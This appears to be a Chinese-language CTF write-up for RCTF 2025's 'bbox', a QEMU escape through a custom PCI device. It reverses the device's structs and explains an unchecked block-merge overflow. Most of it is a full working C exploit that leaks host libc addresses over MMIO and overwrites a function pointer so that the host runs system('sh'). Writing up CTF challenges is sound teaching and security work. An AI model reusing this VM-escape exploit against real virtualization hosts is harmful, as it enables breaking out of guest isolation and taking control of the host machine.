RCTF 2025 bbox Writeup
RCTF 2025 pwn,继 mstr 之后再复现一个相对简单的 qemu escape bbox,如果有空的话再看看那个 v8pwn。(画饼ing
Challenge
附件 docker archive 中 qemu-system-x86_64 实现了一个自定义 PCI 设备 virtsec-device。借助 AI 可以很快还原两个关键的结构体:
00000000 struct block // sizeof=0x18
00000000 {
00000000 unsigned int id;
00000004 unsigned int size;
00000008 unsigned int _pad1;
0000000C unsigned int offset;
00000010 unsigned int _pad2;
00000014 unsigned __int8 encrypted;
00000015 unsigned __int8 valid;
00000016 unsigned __int8 _pad3[2];
00000018 };
00000000 struct virtsec_device // sizeof=0x10E8
00000000 {
00000000 unsigned __int8 _pad0[3024];
00000BD0 unsigned int status;
00000BD4 unsigned int session_id;
00000BD8 unsigned int error_code;
00000BDC unsigned __int8 _pad1[32];
00000BFC unsigned int alloc_size;
00000C00 unsigned int _pad2[2];
00000C08 struct block blocks[16];
00000D88 unsigned int _pad3;
00000D8C unsigned int current_id;
00000D90 unsigned int merge_id1;
00000D94 unsigned int merge_id2;
00000D98 unsigned __int8 data[256];
00000E98 void (*func_ptr)(void *);
00000EA0 void *func_arg;
00000EA8 unsigned __int8 _pad4[256];
00000FA8 unsigned __int8 key_buffer[256];
000010A8 unsigned int reg_10A8;
000010AC unsigned __int8 _pad6[36];
000010D0 unsigned __int64 reg_10D0;
000010D8 unsigned __int64 reg_10D8;
000010E0 unsigned __int64 reg_10E0;
000010E8 };之后的逆向就比较轻松了。可以看到这个设备在 256 字节的空间里管理 16 个 blocks,每个块初始大小最高 0x10,但可以通过 merge 命令合并两个及多个块,直至 256 字节。设备还有 gift 寄存器,向其中写入任意内容后,设备将在设备结构体中紧随 data 之后分别写入 printf 函数指针和一个字符串指针,再次触发 gift 就会将后者作为首个参数执行前者。(另外还有 session、神秘 command 3 和 xor 加解密,不知道能干啥。)
这个 PCI 设备通过 MMIO 交互,我们可以在 virtsec_class_init 找到 Vendor ID 0x1234和 Device ID 0x5678。在 qemu 虚拟机内执行 lspci 查询 PCI resource 路径(00:04.0 Class 0580: 1234:5678)。
出题人非常贴心的在每个操作都输出了 log,要想看到 qemu_log 输出便于调试,可以添加 qemu 命令行参数 -d guest_errors -D qemu.log(qemu_loglevel_mask_64(2048) 是 LOG_GUEST_ERROR)。
Bug
问题出在块合并,merge 似乎没有任何长度检查,只要分配大于 16 个块合并在一起就能轻松拿到大于 256 字节的块,从而越界读写 gift。virtsec_free_block 提示 UAF 但其实应该没有。
Exploit
只需要将函数指针改成 system,参数改成 sh 就好了。然而由于某些神秘原因,直接向 offset 256 写入的话 qemu 就直接爆了(?
不过块合并时自然也会复制数据的,所以就改成先在小块里写好这两个数据然后越界合并覆盖就好。free block 竟然只能全部 reset,那只好重新 merge 一遍了。
有点不懂为什么 escape 之后又打印出 welcome to RCTF2025!This is my gift!hello,可能是 pwntools 的问题吧(
Exp:
#include <fcntl.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <unistd.h>
#define REG_CMD 0x0C
#define REG_ID 0x14
#define REG_SIZE 0x18
#define REG_MERGE1 0x30
#define REG_MERGE2 0x34
#define REG_GIFT 0x38
#define CMD_SESSION 1
#define CMD_ALLOC 2
#define CMD_SELECT 3
#define CMD_MERGE 4
#define CMD_RESET 6
int fd;
volatile void *mmio_ptr;
static void write_reg32(int offset, uint32_t value) {
*(volatile uint32_t *)(mmio_ptr + offset) = value;
}
static void trig_gift() { write_reg32(REG_GIFT, 0xcafebabe); }
// static void new_session() { write_reg32(REG_CMD, CMD_SESSION); }
static void alloc_blk(uint32_t id, uint32_t size) {
write_reg32(REG_ID, id);
write_reg32(REG_SIZE, size);
write_reg32(REG_CMD, CMD_ALLOC);
}
static void select_blk(uint32_t id) {
write_reg32(REG_ID, id);
// write_reg(REG_CMD, CMD_SELECT);
}
static void merge_blk(uint32_t id1, uint32_t id2) {
write_reg32(REG_MERGE1, id1);
write_reg32(REG_MERGE2, id2);
write_reg32(REG_CMD, CMD_MERGE);
}
static void dev_res() { write_reg32(REG_CMD, CMD_RESET); }
static uint32_t read_data32(size_t offset) {
return *(volatile uint32_t *)(mmio_ptr + 0x1000 + offset);
}
static uint64_t read_data64(size_t offset) {
uint32_t low32 = read_data32(offset);
uint32_t high32 = read_data32(offset + 4);
return ((uint64_t)high32 << 32) | low32;
}
static void write_data32(size_t offset, uint32_t data) {
*(volatile uint32_t *)(mmio_ptr + 0x1000 + offset) = data;
}
static void write_data64(size_t offset, uint64_t data) {
write_data32(offset, (uint32_t)data);
write_data32(offset + 4, (uint32_t)(data >> 32));
}
int main(void) {
fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR);
if (fd < 0) {
perror("open");
exit(EXIT_FAILURE);
}
puts("[*] Device opened.");
mmio_ptr = mmap(NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio_ptr == MAP_FAILED) {
perror("mmap");
exit(EXIT_FAILURE);
}
puts("[*] MMIO mmaped.");
// new_session();
for (size_t i = 0; i < 16; ++i) {
alloc_blk(i, 0x10);
}
puts("[*] Blocks allocated.");
for (size_t i = 1; i < 16; ++i) {
merge_blk(0, i);
}
puts("[*] Blocks merged.");
alloc_blk(1, 0x10);
merge_blk(0, 1);
puts("[+] Block merged overflow.");
trig_gift();
select_blk(0);
size_t host_system_addr =
read_data64(256) - 0xf980; // glibc system - printf
size_t host_sh_addr = host_system_addr - 0x38761; // glibc "sh" - system
printf("[+] Host `system` address: 0x%lx\n", host_system_addr);
printf("[+] Host `\"sh\"` address: 0x%lx\n", host_sh_addr);
dev_res();
puts("[*] Reset.");
for (size_t i = 0; i < 16; ++i) {
alloc_blk(i, 0x10);
}
puts("[*] Blocks allocated.");
for (size_t i = 1; i < 16; ++i) {
merge_blk(0, i);
}
puts("[*] Blocks merged.");
alloc_blk(1, 0x10);
select_blk(1);
write_data64(0, host_system_addr);
write_data64(8, host_sh_addr);
merge_blk(0, 1);
puts("[+] Gift rewritten.");
trig_gift();
munmap((void *)mmio_ptr, 0x2000);
close(fd);
return 0;
}直接读写 MMIO 的指针一定要 ➕ volatile,否则可能被编译器优化掉。